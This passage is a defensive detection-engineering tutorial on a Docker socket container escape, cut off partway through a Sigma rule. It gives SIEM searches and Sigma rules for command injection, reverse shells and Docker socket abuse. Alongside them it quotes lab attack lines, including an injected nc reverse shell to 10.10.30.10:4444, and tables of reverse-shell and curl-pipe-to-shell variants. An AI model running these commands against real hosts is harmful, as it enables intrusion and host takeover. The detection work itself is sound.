Shell to Signal
CASE_001/SOCLab

Catching a Docker socket escape

Turning what the logs showed into detections anyone running Docker can use - tested against both attack routes.

Level: IntermediateCase 001 · DetectionLinux · Docker
33 min readPart 3 of 3

In Part 2 we found the weak spot: the step that actually reached the host raised no alert at all. This part turns what we learned into detections you can use in your own environment.

Tip

Short on time? Look at the heat map first, then open the detection for the step you care about. Each detection is folded, so you only read what you need.

Note

How we tested. The Splunk searches on this page were run in our lab Splunk over the whole day of the attack, including the setup, our own checks and normal activity. Where a detection’s results cover only some levels, they say so. Where that test found noise, we tuned the search and say so in a “What the full-day test changed” box. The KQL, CrowdStrike, Sigma and Falco versions use the same logic but were not run against live data.

What alerted, and what we can catch now

Here is every technique from this case on the MITRE ATT&CK map. During the attack, almost every step was recorded somewhere, but only one raised an alert. Switch the view to see what the detections in this part catch.

  • Alerted
  • Logged, no alert
  • Not seen
  • Pending test
Initial Access
T1190 Exploit Public-Facing Application During: Logged, no alert After: Alerted
Execution
T1059.004 Unix Shell During: Logged, no alert After: Alerted
T1610 Deploy Container During: Logged, no alert After: Alerted
Privilege Escalation
T1611 Escape to Host During: Logged, no alert After: Alerted
Discovery
T1613 Container and Resource Discovery During: Logged, no alert After: Alerted
Command and Control
T1095 Non-Application Layer Protocol During: Alerted After: Alerted

Want this on the full ATT&CK matrix, next to your own coverage? Open a layer below in MITRE’s free ATT&CK Navigator (choose “Open existing layer”, then “Upload from local”). There is one for each view of the map above.

Navigator layer: during the attackcase-001-attack-layer.json · 2 KB Navigator layer: with our detectionscase-001-attack-layer-detections.json · 2 KB

The five detections

Each detection follows the same order: what happened in this case, the wider picture, how to spot it, the searches in three levels, what it cannot see, our test results, and how to tune and prevent it. They run in the order of the attack. Open the one you need.

1A web handler that starts a shell commandCatches the injected command that opened the door.

In short: the attack began when the dashboard’s “check a host” box passed text straight to a shell. The visitor added a semicolon and a second command. This detection looks for a shell started with -c whose command chains a second tool onto the first. It is the earliest point in this case where we can catch the intruder.

MITRE ATT&CKData you needSeverityLab test
T1190 Exploit Public-Facing Application, T1059.004 Unix ShellProcess start events with the command line and parent processHighAll 8 matching injection events caught; admin noise removed at level 3

What happened in this case

Sysmon: the shell the dashboard started
sh -c ping -c 1 -W 1 127.0.0.1;nc 10.10.30.10 4444 -e /bin/sh &

The first half is the dashboard’s normal ping. Everything after the ; was typed by the visitor.

The wider picture

Our attacker used one semicolon after ping. The same weakness shows up in many forms:

VariationWhat it looks like
Other separators&&, ||, |, backticks, $( ), a new line (%0a in a web request)
Other vulnerable featuresanything that passes input to a shell: nslookup, traceroute, file converters, backup or “test connection” buttons
Downloading a toolcurl ... | sh, wget -O- ... | sh
Hiding the payloadecho ... | base64 -d | sh
Blind injectionno output shown, so the attacker uses sleep 10 or a DNS lookup to confirm
Other app languagesPHP system(), Node child_process.exec, Python shell=True, Java Runtime.exec("sh -c ..."): each one ends up starting a shell

How to spot it

  • a shell (sh, bash, dash, busybox) started with -c
  • a command separator in it: ;, |, &&, ||, backticks or $( )
  • followed by a tool that has no business in a web request: nc, curl, wget, bash, python, id, whoami, cat /etc/passwd

These searches read process command lines from the whole host, so they cover the host and its containers alike. They do not check where a process ran; the parent chain does (in our lab, a container’s processes ran under containerd-shim-runc-v2).

Key takeaways

Scripts use separators all the time. What makes this suspicious is who started the shell: a web server or app runtime (nginx, Apache, node, PHP, Java, Python) should rarely need one. Level 3 checks the parent.

The searches

Level 1: case-specific match

Something chained onto a ping command, exactly what the dashboard bug allowed.

Splunk · level 1
index=<your_index> CommandLine="*ping*"
| regex CommandLine="(?i)\bping\s+(-\S+\s+(\S+\s+)?)*[0-9a-z.\-:]+\s*(;|\|\||&&|\||`|\$\()"
| table _time host User ParentImage Image CommandLine
Level 1: KQL and CrowdStrike (examples)
KQL · Microsoft Defender XDR
DeviceProcessEvents
| where ProcessCommandLine has "ping"
| where ProcessCommandLine matches regex @"(?i)\bping\s+(-\S+\s+(\S+\s+)?)*[0-9a-z.\-:]+\s*(;|\|\||&&|\||`|\$\()"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine
CrowdStrike Falcon · CQL
#event_simpleName=ProcessRollup2 event_platform=Lin
| CommandLine=/\bping\s+(-\S+\s+(\S+\s+)?)*[0-9a-z.\-:]+\s*(;|\|\||&&|\||`|\$\()/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, ImageFileName, CommandLine])

Any shell started with -c that chains a tool from a selected list after a separator, whatever the first command was. Tools that are not on the list are missed.

Splunk · level 2
index=<your_index> (Image="*/sh" OR Image="*/bash" OR Image="*/dash" OR Image="*/busybox")
| regex CommandLine="(?i)\s-c\s.*(;|\|\||&&|\||`|\$\()\s*(nc|ncat|netcat|socat|curl|wget|bash|sh|python[0-9.]*|perl|php|id|whoami|uname|cat\s+/etc/(passwd|shadow))\b"
| table _time host User ParentImage ParentCommandLine Image CommandLine
Level 2: KQL and CrowdStrike (examples)
KQL · Microsoft Defender XDR
DeviceProcessEvents
| where FileName in~ ("sh", "bash", "dash", "busybox")
| where ProcessCommandLine matches regex @"(?i)\s-c\s.*(;|\|\||&&|\||`|\$\()\s*(nc|ncat|netcat|socat|curl|wget|bash|sh|python[0-9.]*|perl|php|id|whoami|uname|cat\s+/etc/(passwd|shadow))\b"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine
CrowdStrike Falcon · CQL
#event_simpleName=ProcessRollup2 event_platform=Lin
| CommandLine=/\s-c\s.*(;|\|\||&&|\||`|\$\()\s*(nc|ncat|netcat|socat|curl|wget|bash|sh|python[0-9.]*|perl|php|id|whoami|uname|cat\s+\/etc\/(passwd|shadow))\b/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, ImageFileName, CommandLine])

Level 3: operational view

Level 2, but only when the parent is a web server, an app runtime, or a shell or BusyBox (web handlers are often scripts, as in our case). Known admin automation is excluded, and repeats are grouped.

Splunk · level 3
index=<your_index> (Image="*/sh" OR Image="*/bash" OR Image="*/dash" OR Image="*/busybox")
| regex CommandLine="(?i)\s-c\s.*(;|\|\||&&|\||`|\$\()\s*(nc|ncat|netcat|socat|curl|wget|bash|sh|python[0-9.]*|perl|php|id|whoami|uname|cat\s+/etc/(passwd|shadow))\b"
| where match(ParentImage, "(?i)/(nginx|apache2|httpd|lighttpd|node|php-fpm[0-9.]*|php|java|gunicorn|uwsgi|python[0-9.]*|ruby|busybox|sh|bash)$")
| search NOT User IN ("svc-deploy", "svc-backup") NOT ParentCommandLine IN ("*/etc/cron*", "*ansible*")
| stats count min(_time) as first_seen max(_time) as last_seen values(User) as users by host ParentImage CommandLine
| sort - last_seen

Replace the example service accounts and scripts with your own automation.

What it cannot see

  • injections that run a built-in shell feature without starting a new tool (for example writing a file with >)
  • languages that run commands without a shell (a program calling the tool directly)
  • encoded payloads (echo ... | base64 -d | sh) beyond the first separator; add base64 -d to level 2 if your environment allows
  • tools that are not on the level 2 list, such as sleep or nslookup used for blind injection

Did it catch our attack?

We ran the searches in our lab Splunk over the whole day of the attack.

What happenedEventsLevel 1Level 2Level 3
Injected through the dashboard: 3 × ;id tests, 4 × reverse shell7DetectedDetectedDetected
Our own injection test through the dashboard (the false lead from Part 2)1DetectedDetectedDetected
Admin and setup commands that chain tools with ;7IgnoredFlaggedIgnored

Our attack only used ;. The other separators and tools in level 2 were not reproduced in our lab, so they still need their own test.

Tip

What the full-day test changed. Our first level 1 also matched a setup command that listed tools in a grep "httpd|nc|wget|ping" pattern. Requiring a real ping command with a host before the separator removed it. Level 2 still lists the admin commands, by design. Level 3 drops them, because none had a web server, app runtime or shell as its parent.

Tuning and prevention

Common trap

Scripts chain commands too. Admin scripts, cron jobs and deployment tools use ; and && all the time. Allowlist them by parent script and account, and keep the web-facing parents in focus.

Sigma version (not live-tested)
Sigma · portable rule
title: Shell Started With Chained Commands By A Web Or App Process
status: experimental
description: Detects a shell started with -c whose command chains a second tool after a separator, as seen in command injection.
logsource:
  product: linux
  category: process_creation
detection:
  shell:
    Image|endswith: ['/sh', '/bash', '/dash', '/busybox']
    CommandLine|contains: ' -c '
  chained_tool:
    CommandLine|re: '(;|\|\||&&|\||`|\$\()\s*(nc|ncat|netcat|socat|curl|wget|bash|sh|python[0-9.]*|perl|php|id|whoami|uname)\b'
  web_parent:
    ParentImage|endswith: ['/nginx', '/apache2', '/httpd', '/node', '/php-fpm', '/php', '/java', '/gunicorn', '/uwsgi', '/python3']
  condition: shell and chained_tool and web_parent
falsepositives:
  - Web applications that legitimately run shell commands (review and allowlist)
level: high
tags:
  - attack.initial_access
  - attack.t1190
  - attack.execution
  - attack.t1059.004

Our own case had a small shell script as the web handler, so its parent was a shell, not a web server. Add your own handler scripts to web_parent.

Defender's corner

Better than detecting it: preventing it. Never pass user input to a shell. Call the tool directly with a fixed argument list, and accept only what a host name can look like (letters, digits, dots, hyphens).

2A reverse shell from a containerCatches the container calling the attacker back.

In short: after the injection, the container called back to the attacker and handed over a command prompt. This is the one step that did raise an alert during the attack: Falco’s default “Netcat runs inside container” rule. This detection is a portable command-line search for any process log. It looks for a few well-known reverse-shell command lines on the host and its containers.

MITRE ATT&CKData you needSeverityLab test
T1059.004 Unix Shell, T1095 Non-Application Layer ProtocolProcess start events with the command line. Falco and auditd connection events help confirm a hit.HighAll 10 matching attack events caught, 0 false positives after tuning

What happened in this case

Sysmon: the reverse shell
nc 10.10.30.10 4444 -e /bin/sh

-e /bin/sh attaches a shell to the network connection. Whoever listens on the other side gets the prompt.

The wider picture

Netcat is only one way to hand over a shell. The common ones:

VariationWhat it looks like
Netcat flavoursnc -e /bin/sh, nc -c sh, ncat --ssl, BusyBox nc
Bash’s own network featurebash -i >& /dev/tcp/<host>/<port> 0>&1
A named pipemkfifo /tmp/f; ... nc <host> <port> ...
socatsocat exec:/bin/sh tcp:<host>:<port>
Scripting languagesPython, Perl, PHP or Ruby one-liners that connect a socket to a shell
Encrypted channelsopenssl s_client piped to a shell
Compiled payloadsa program built to call back, with nothing unusual on its command line

How to spot it

  • Netcat with a shell attached: nc ... -e /bin/sh (or -c)
  • Bash’s built-in network trick: /dev/tcp/<host>/<port>, bash -i >& /dev/tcp/...
  • socat running a shell: socat ... exec:/bin/sh
  • A named pipe feeding Netcat: mkfifo ... nc
  • A script wiring a socket to a shell (for example Python with socket and pty.spawn)

These searches read process command lines from the whole host. A container’s processes show up there too, so a match can come from the host or from one of its containers. The command line alone does not say which. To confirm, look at the parent chain (in our lab, the container’s processes ran under containerd-shim-runc-v2) or at Falco’s container fields.

The searches

Level 1: case-specific match

Netcat with a shell attached, exactly what the injected command ran.

Splunk · level 1
index=<your_index> CommandLine="*-e*"
| regex CommandLine="(?i)\b(nc|ncat|netcat)\b.*\s-e\s+\S*/(sh|bash|dash)\b"
| table _time host User ParentImage Image CommandLine
Level 1: KQL and CrowdStrike (examples)
KQL · Microsoft Defender XDR
DeviceProcessEvents
| where ProcessCommandLine contains "-e"
| where ProcessCommandLine matches regex @"(?i)\b(nc|ncat|netcat)\b.*\s-e\s+\S*/(sh|bash|dash)\b"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine
CrowdStrike Falcon · CQL
#event_simpleName=ProcessRollup2 event_platform=Lin
| CommandLine=/\b(nc|ncat|netcat)\b.*\s-e\s+\S*\/(sh|bash|dash)\b/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, ImageFileName, CommandLine])

Selected command-line signatures for the table above: Netcat or socat with a shell attached, Bash’s /dev/tcp with an interactive shell, a named pipe feeding Netcat, and Python wiring a socket to a shell. It does not cover every row: Perl, PHP, Ruby, openssl and compiled payloads are not in it. And it only sees what your logs record on the command line.

Splunk · level 2
index=<your_index>
| regex CommandLine="(?i)(\b(nc|ncat|netcat)\b.*\s-(e|c)\s+(\S*/)?(sh|bash|dash|zsh|ash|ksh)(\s|$)|\b(bash|sh|zsh)\s+-i\b.*/dev/(tcp|udp)/|/dev/(tcp|udp)/\S+\s+0?>&\s*1|\bsocat\b.*exec:(\S*/)?(sh|bash|dash|zsh)\b|mkfifo\s.*\b(nc|ncat|netcat)\b|python[0-9.]*\s.*socket.*(subprocess|pty\.spawn|os\.dup2))"
| table _time host User ParentImage Image CommandLine
Level 2: KQL and CrowdStrike (examples)
KQL · Microsoft Defender XDR
DeviceProcessEvents
| where ProcessCommandLine matches regex @"(?i)(\b(nc|ncat|netcat)\b.*\s-(e|c)\s+(\S*/)?(sh|bash|dash|zsh|ash|ksh)(\s|$)|\b(bash|sh|zsh)\s+-i\b.*/dev/(tcp|udp)/|/dev/(tcp|udp)/\S+\s+0?>&\s*1|\bsocat\b.*exec:(\S*/)?(sh|bash|dash|zsh)\b|mkfifo\s.*\b(nc|ncat|netcat)\b|python[0-9.]*\s.*socket.*(subprocess|pty\.spawn|os\.dup2))"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine
CrowdStrike Falcon · CQL
#event_simpleName=ProcessRollup2 event_platform=Lin
| CommandLine=/(\b(nc|ncat|netcat)\b.*\s-(e|c)\s+(\S*\/)?(sh|bash|dash|zsh|ash|ksh)(\s|$)|\b(bash|sh|zsh)\s+-i\b.*\/dev\/(tcp|udp)\/|\/dev\/(tcp|udp)\/\S+\s+0?>&\s*1|\bsocat\b.*exec:(\S*\/)?(sh|bash|dash|zsh)\b|mkfifo\s.*\b(nc|ncat|netcat)\b|python[0-9.]*\s.*socket.*(subprocess|pty\.spawn|os\.dup2))/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, ImageFileName, CommandLine])

Level 3: operational view

The same patterns as level 2, now grouped so each host and command shows once, with a count and the first and last time seen. Reverse-shell command lines are rare in normal use, so tune by excluding known test sources, not by loosening the patterns. The example excludes one red team host. If your team agrees test windows, exclude those the same way (for example from a lookup of approved tests).

Splunk · level 3
index=<your_index>
| regex CommandLine="(?i)(\b(nc|ncat|netcat)\b.*\s-(e|c)\s+(\S*/)?(sh|bash|dash|zsh|ash|ksh)(\s|$)|\b(bash|sh|zsh)\s+-i\b.*/dev/(tcp|udp)/|/dev/(tcp|udp)/\S+\s+0?>&\s*1|\bsocat\b.*exec:(\S*/)?(sh|bash|dash|zsh)\b|mkfifo\s.*\b(nc|ncat|netcat)\b|python[0-9.]*\s.*socket.*(subprocess|pty\.spawn|os\.dup2))"
| search NOT host IN ("redteam-01")
| stats count min(_time) as first_seen max(_time) as last_seen values(User) as users values(ParentImage) as parents by host CommandLine
| sort - last_seen

What it cannot see

  • reverse shells built into a compiled program (nothing unusual on the command line)
  • shells over encrypted or web traffic that look like normal connections
  • tools and languages the level 2 patterns do not include (for example Perl, PHP, Ruby or openssl)

For those, watch the connection instead: a container making an outbound connection to an unusual port. In our lab, auditd recorded each callback as a successful connect to 10.10.30.10:4444, and the firewall saw it leave the network. These connection events are not part of the searches above. They are a second source: they help confirm a hit, or catch what the command line misses.

Did it catch our attack?

We ran the searches in our lab Splunk over the whole day of the attack.

What happenedEventsLevel 1Level 2Level 3Falco (default rule)
nc ... -e /bin/sh from the injected commands (each seen as nc and inside its sh -c line)10DetectedDetectedDetectedAlerted
opsboard’s own web listener, nc -lk -p 8080 -e /app/handler.sh17IgnoredIgnoredIgnoredNot alerted
An admin’s time-server test, echo > /dev/udp/...3IgnoredIgnoredIgnoredNot alerted

Falco is a separate tool, shown for comparison. It is not part of the Splunk searches.

Tip

What the full-day test changed. Our first level 2 flagged both normal rows: -e /app/handler.sh looked like “attach a shell”, and any use of /dev/udp/ looked like a reverse shell. Now the program after -e must be a shell itself (sh, bash, …), and /dev/tcp or /dev/udp only counts together with an interactive shell (-i) or 0>&1. Both normal rows disappeared, and every matching command observed in this case is still caught. The other level 2 patterns were only checked against sample command lines, not real events, so they still need their own test.

Tuning and prevention

Common trap

Red teams use these too. Penetration tests and security exercises launch reverse shells on purpose. Exclude their hosts and agreed time windows, not the patterns.

Sigma version (not live-tested)
Sigma · portable rule
title: Reverse Shell Command Line On Linux
status: experimental
description: Detects common reverse-shell command lines - Netcat with a shell attached, Bash /dev/tcp, socat exec, named pipes and scripting one-liners.
logsource:
  product: linux
  category: process_creation
detection:
  netcat_shell:
    CommandLine|re: '\b(nc|ncat|netcat)\b.*\s-(e|c)\s+(\S*/)?(sh|bash|dash|zsh|ash|ksh)(\s|$)'
  dev_tcp:
    CommandLine|re: '\b(bash|sh|zsh)\s+-i\b.*/dev/(tcp|udp)/|/dev/(tcp|udp)/\S+\s+0?>&\s*1'
  socat_exec:
    CommandLine|re: '\bsocat\b.*exec:\S*(sh|bash)'
  fifo:
    CommandLine|re: 'mkfifo\s.*\b(nc|ncat|netcat)\b'
  condition: 1 of them
falsepositives:
  - Authorised penetration tests
level: high
tags:
  - attack.execution
  - attack.t1059.004
  - attack.command_and_control
  - attack.t1095

Falco’s default rules already include “Netcat Remote Code Execution in Container”, which raised the live alert in our case.

Defender's corner

Better than detecting it: preventing it. Container images should not ship tools like nc, and containers that face the network should only be allowed to connect out where they need to. Our firewall rule passed the callback; a deny-by-default rule for that network would have stopped it.

3A program giving Docker orders through its socketCatches the step just before the escape.

In short: Docker’s socket is its control line. Whoever talks to it can tell Docker to do anything, including start a container with the host’s disk. Both routes in this case talked to the socket directly before the escape: route A with docker -H unix://..., route B with curl --unix-socket .... This detection flags programs that do that. It is also our early warning: it fires one step before the host is touched.

MITRE ATT&CKData you needSeverityLab test
T1611 Escape to Host, T1613 Container and Resource DiscoveryProcess start events with the command line. auditd only for the separate kernel-level search.Medium to highBoth routes caught; level 3 keeps their 8 create and run events

What happened in this case

Route A: docker, pointed at the socket
docker -H unix:///var/run/docker.sock run ...
Route B: curl, speaking the API
curl --unix-socket /var/run/docker.sock http://localhost/containers/create

The wider picture

Anything that can reach the socket can give Docker orders. Ways to do it:

VariationWhat it looks like
Docker’s own tool, pointed at the socketdocker -H unix:///var/run/docker.sock ..., or DOCKER_HOST=unix://...
Plain HTTP over the socketcurl --unix-socket /var/run/docker.sock http://localhost/...
Raw socket toolssocat - UNIX-CONNECT:/var/run/docker.sock, nc -U ...
Scripts and librariesPython’s Docker library, requests_unixsocket (http+unix://)
Other container runtimescontainerd (ctr --address ...), CRI-O and Kubernetes (crictl --runtime-endpoint ...), Podman (podman --url ...)
The socket in an unusual placethe socket mounted or copied to another path, such as /tmp/.x.sock (not covered by the searches below)
Docker’s API on the networkdocker -H tcp://<host>:2375: the same orders over the network, often with no password at all (not covered by the searches below)

How to spot it

A program that names a container runtime’s socket and talks to it:

  • Docker’s socket as a target: -H unix://.../docker.sock, --unix-socket .../docker.sock
  • Other runtimes’ sockets: containerd.sock, crio.sock, podman.sock
  • Raw socket clients: socat ... UNIX-CONNECT:, nc -U, and scripts using http+unix://
  • The socket set as a default: DOCKER_HOST=unix://...
Key takeaways

Talking to the socket is normal for Docker’s own tools and for some monitoring software. What matters is what was asked: listing containers is routine, creating or starting one from inside a container is not. Level 3 uses exactly that difference.

Like the other command-line searches, these read process command lines from the whole host, so they cover the host and its containers alike. They do not check where a process ran; the parent chain does (in our lab, a container’s processes ran under containerd-shim-runc-v2).

The searches

The Splunk versions are the ones we test in our lab. The KQL and CrowdStrike versions use the same logic, but they are examples: we have not run them against live data.

Level 1: case-specific match

Only an explicit Docker socket client, exactly what both routes did.

Splunk · level 1
index=<your_index> CommandLine="*.sock*"
| regex CommandLine="(?i)((-H|--host)[=\s]+unix://\S*docker\.sock|--unix-socket[=\s]+\S*docker\.sock)"
| table _time host User ParentImage Image CommandLine
Level 1: KQL and CrowdStrike (examples)
KQL · Microsoft Defender XDR
DeviceProcessEvents
| where ProcessCommandLine contains ".sock"
| where ProcessCommandLine matches regex @"(?i)((-H|--host)[=\s]+unix://\S*docker\.sock|--unix-socket[=\s]+\S*docker\.sock)"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine
CrowdStrike Falcon · CQL
#event_simpleName=ProcessRollup2 event_platform=Lin
| CommandLine=/((-H|--host)[=\s]+unix:\/\/\S*docker\.sock|--unix-socket[=\s]+\S*docker\.sock)/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, ImageFileName, CommandLine])

Adds the other container runtimes, raw socket clients (socat, nc -U), scripts using http+unix://, and DOCKER_HOST.

Splunk · level 2
index=<your_index> CommandLine="*.sock*"
| regex CommandLine="(?i)((-H|--host|--url|--address|-a|--runtime-endpoint|-r)[=\s]+(unix://)?\S*(docker|containerd|crio|podman)\.sock|--unix-socket[=\s]+\S*(docker|containerd|crio|podman)\.sock|unix-connect:\S*(docker|containerd|crio|podman)\.sock|\bnc\b.*\s-U\s+\S*(docker|containerd|crio|podman)\.sock|docker_host=unix://\S*(docker|containerd|crio|podman)\.sock|http\+unix://\S*(docker|containerd|crio|podman)(\.|%2e)sock)"
| table _time host User ParentImage Image CommandLine
Level 2: KQL and CrowdStrike (examples)
KQL · Microsoft Defender XDR
DeviceProcessEvents
| where ProcessCommandLine contains ".sock"
| where ProcessCommandLine matches regex @"(?i)((-H|--host|--url|--address|-a|--runtime-endpoint|-r)[=\s]+(unix://)?\S*(docker|containerd|crio|podman)\.sock|--unix-socket[=\s]+\S*(docker|containerd|crio|podman)\.sock|unix-connect:\S*(docker|containerd|crio|podman)\.sock|\bnc\b.*\s-U\s+\S*(docker|containerd|crio|podman)\.sock|docker_host=unix://\S*(docker|containerd|crio|podman)\.sock|http\+unix://\S*(docker|containerd|crio|podman)(\.|%2e)sock)"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine
CrowdStrike Falcon · CQL
#event_simpleName=ProcessRollup2 event_platform=Lin
| CommandLine=/((-H|--host|--url|--address|-a|--runtime-endpoint|-r)[=\s]+(unix:\/\/)?\S*(docker|containerd|crio|podman)\.sock|--unix-socket[=\s]+\S*(docker|containerd|crio|podman)\.sock|unix-connect:\S*(docker|containerd|crio|podman)\.sock|\bnc\b.*\s-U\s+\S*(docker|containerd|crio|podman)\.sock|docker_host=unix:\/\/\S*(docker|containerd|crio|podman)\.sock|http\+unix:\/\/\S*(docker|containerd|crio|podman)(\.|%2e)sock)/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, ImageFileName, CommandLine])

Level 3: operational view

Level 2, sorted by what was asked: creating, starting or running something is high priority, anything else (such as raw clients that hide their intent) is medium, and read-only calls (listing containers, asking for the version) are dropped. Trusted hosts are excluded, and repeats are grouped.

Splunk · level 3
index=<your_index> CommandLine="*.sock*"
| regex CommandLine="(?i)((-H|--host|--url|--address|-a|--runtime-endpoint|-r)[=\s]+(unix://)?\S*(docker|containerd|crio|podman)\.sock|--unix-socket[=\s]+\S*(docker|containerd|crio|podman)\.sock|unix-connect:\S*(docker|containerd|crio|podman)\.sock|\bnc\b.*\s-U\s+\S*(docker|containerd|crio|podman)\.sock|docker_host=unix://\S*(docker|containerd|crio|podman)\.sock|http\+unix://\S*(docker|containerd|crio|podman)(\.|%2e)sock)"
| eval priority=case(match(CommandLine, "(?i)(/containers/create|/containers/[^/\s]+/(start|exec)|/exec/[^/\s]+/start|(-H|--host|--url|--address|-a|--runtime-endpoint|-r)[=\s]+\S+\s+(run|runp|create|start|exec)\b|docker_host=\S+\s+(\S*/)?docker\s+(run|create|start|exec)\b)"), "high",
                     match(CommandLine, "(?i)((^|\s)(ps|ls|version|info|images|inspect|stats|logs)(\s|$)|/version(\s|$)|/containers/json|/_ping|/info(\s|$))"), "low",
                     true(), "medium")
| where priority!="low"
| search NOT host IN ("build-01", "build-02")
| stats count min(_time) as first_seen max(_time) as last_seen values(User) as users by host priority CommandLine
| sort - last_seen

Replace the example host names with the ones you trust, such as build servers that drive Docker on purpose.

Level 3: KQL and CrowdStrike (examples)
KQL · Microsoft Defender XDR
DeviceProcessEvents
| where ProcessCommandLine contains ".sock"
| where ProcessCommandLine matches regex @"(?i)((-H|--host|--url|--address|-a|--runtime-endpoint|-r)[=\s]+(unix://)?\S*(docker|containerd|crio|podman)\.sock|--unix-socket[=\s]+\S*(docker|containerd|crio|podman)\.sock|unix-connect:\S*(docker|containerd|crio|podman)\.sock|\bnc\b.*\s-U\s+\S*(docker|containerd|crio|podman)\.sock|docker_host=unix://\S*(docker|containerd|crio|podman)\.sock|http\+unix://\S*(docker|containerd|crio|podman)(\.|%2e)sock)"
| extend Priority = case(ProcessCommandLine matches regex @"(?i)(/containers/create|/containers/[^/\s]+/(start|exec)|/exec/[^/\s]+/start|(-H|--host|--url|--address|-a|--runtime-endpoint|-r)[=\s]+\S+\s+(run|runp|create|start|exec)\b|docker_host=\S+\s+(\S*/)?docker\s+(run|create|start|exec)\b)", "high",
                         ProcessCommandLine matches regex @"(?i)((^|\s)(ps|ls|version|info|images|inspect|stats|logs)(\s|$)|/version(\s|$)|/containers/json|/_ping|/info(\s|$))", "low", "medium")
| where Priority != "low" and DeviceName !in~ ("build-01", "build-02")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine
CrowdStrike Falcon · CQL
#event_simpleName=ProcessRollup2 event_platform=Lin
| CommandLine=/((-H|--host|--url|--address|-a|--runtime-endpoint|-r)[=\s]+(unix:\/\/)?\S*(docker|containerd|crio|podman)\.sock|--unix-socket[=\s]+\S*(docker|containerd|crio|podman)\.sock|unix-connect:\S*(docker|containerd|crio|podman)\.sock|\bnc\b.*\s-U\s+\S*(docker|containerd|crio|podman)\.sock|docker_host=unix:\/\/\S*(docker|containerd|crio|podman)\.sock|http\+unix:\/\/\S*(docker|containerd|crio|podman)(\.|%2e)sock)/i
| case { CommandLine=/(\/containers\/create|\/containers\/[^\/\s]+\/(start|exec)|\/exec\/[^\/\s]+\/start|(-H|--host|--url|--address|-a|--runtime-endpoint|-r)[=\s]+\S+\s+(run|runp|create|start|exec)\b|docker_host=\S+\s+(\S*\/)?docker\s+(run|create|start|exec)\b)/i | priority := "high" ; CommandLine=/((^|\s)(ps|ls|version|info|images|inspect|stats|logs)(\s|$)|\/version(\s|$)|\/containers\/json|\/_ping|\/info(\s|$))/i | priority := "low" ; * | priority := "medium" }
| priority != "low"
| !in(field="ComputerName", values=["build-01", "build-02"])
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, ImageFileName, CommandLine])

What it cannot see

The searches below only match local sockets with a known runtime name (docker.sock, containerd.sock, crio.sock, podman.sock). A socket moved or renamed to another path, such as /tmp/.x.sock, and Docker’s API on the network (tcp://...:2375) are outside their coverage; the auditd search below has the same name filter. For the network API, watch connections to ports 2375 and 2376 instead.

Also, a program does not have to name the socket on its command line. Plain docker ps uses the socket by default, and a script can open it without saying so. For those, go one level deeper: the Linux kernel’s own audit log (auditd). With a rule for it (shown below), auditd records connections to local sockets, whatever program made them. It only records what its rules ask for.

Kernel-level version: auditd (lab-tested)

This needs an auditd rule that records successful connections to local sockets:

auditd rule
-a always,exit -F arch=b64 -S connect -F saddr_fam=1 -F success=1 -k unix_connect

Each connection is written as several lines that share one ID. This search puts them back together and keeps only connections to a container runtime’s socket, from programs that are not part of Docker itself. Some systems log the socket path only in hex, so the search checks both forms:

Splunk · auditd
index=<your_auditd_index> ("key=\"unix_connect\"" OR "saddr_fam=local")
| rex "msg=audit\((?<audit_id>[^)]+)\)"
| rex "path=(?<socket_path>\S+)"
| rex "saddr=(?<saddr_hex>0100[0-9A-F]+)"
| rex "exe=\"(?<exe>[^\"]+)\""
| rex " ppid=(?<ppid>\d+)"
| rex " pid=(?<pid>\d+)"
| stats min(_time) as _time values(socket_path) as socket_path values(exe) as exe values(pid) as pid values(ppid) as ppid by host audit_id
| where match(socket_path, "(docker|containerd|crio|podman)\.sock$") OR match(saddr_hex, "(646F636B6572|636F6E7461696E657264|6372696F|706F646D616E)2E736F636B")
| search NOT exe IN ("/usr/bin/dockerd", "/usr/bin/containerd", "/usr/bin/containerd-shim-runc-v2", "/usr/bin/runc")
| table _time host exe pid ppid socket_path

This sees everything, including normal use such as a dashboard’s own docker ps, so it is best used to hunt or to add context to a level 3 alert, rather than as an alert on its own.

Did it catch our attack?

We ran the searches in our lab Splunk over the whole day of the attack.

What happenedEventsLevel 1Level 2Level 3 (priority)
Route A: docker -H unix://.../docker.sock run ... (three runs and a read-back)4DetectedDetectedHigh
Route B: create and start through curl --unix-socket ...4DetectedDetectedHigh
Route B: asking Docker for its version2DetectedDetectedLow, dropped
Our own checks of metrics-agent (curl ... /version)12ListedListedLow, dropped
opsboard’s normal docker ps148IgnoredIgnoredIgnored

On the attack day only Docker socket clients (docker -H and curl --unix-socket) appeared. Afterwards we ran containerd’s own tool, ctr, against its socket with two read-only commands: level 2 caught all 4 events (each seen as sudo and as ctr) and level 3 rated them low. podman, crictl and the raw clients are not installed in our lab, so those patterns were only checked against sample command lines.

Tip

What the full-day test changed. Our first level 3 rated our own checks as high, because they ran through docker exec. But the request inside was only “what version are you?”. Priority now comes from what was asked of Docker (create, start, run), not from the wrapper. Level 3 keeps exactly the 8 attack rows.

auditd version: tested on our exported events. It recorded route A’s socket connections and, as expected, also normal use such as opsboard’s docker ps. Route B’s evening auditd events were not in our export.

Tuning and prevention

Common trap

Some tools talk to the socket all day. Container dashboards, log shippers and update tools often need Docker access. List them once, allowlist them by host and command, and keep an eye on anything that creates or starts containers.

Sigma and Falco versions (not live-tested)
Sigma · portable rule
title: Process Talks Directly To A Container Runtime Socket
status: experimental
description: Detects a process that names a container runtime socket (Docker, containerd, CRI-O, Podman) and talks to it - via a container CLI pointed at the socket, curl or another raw socket client.
logsource:
  product: linux
  category: process_creation
detection:
  socket_client:
    CommandLine|contains:
      - 'unix://'
      - '--unix-socket'
      - '--address'
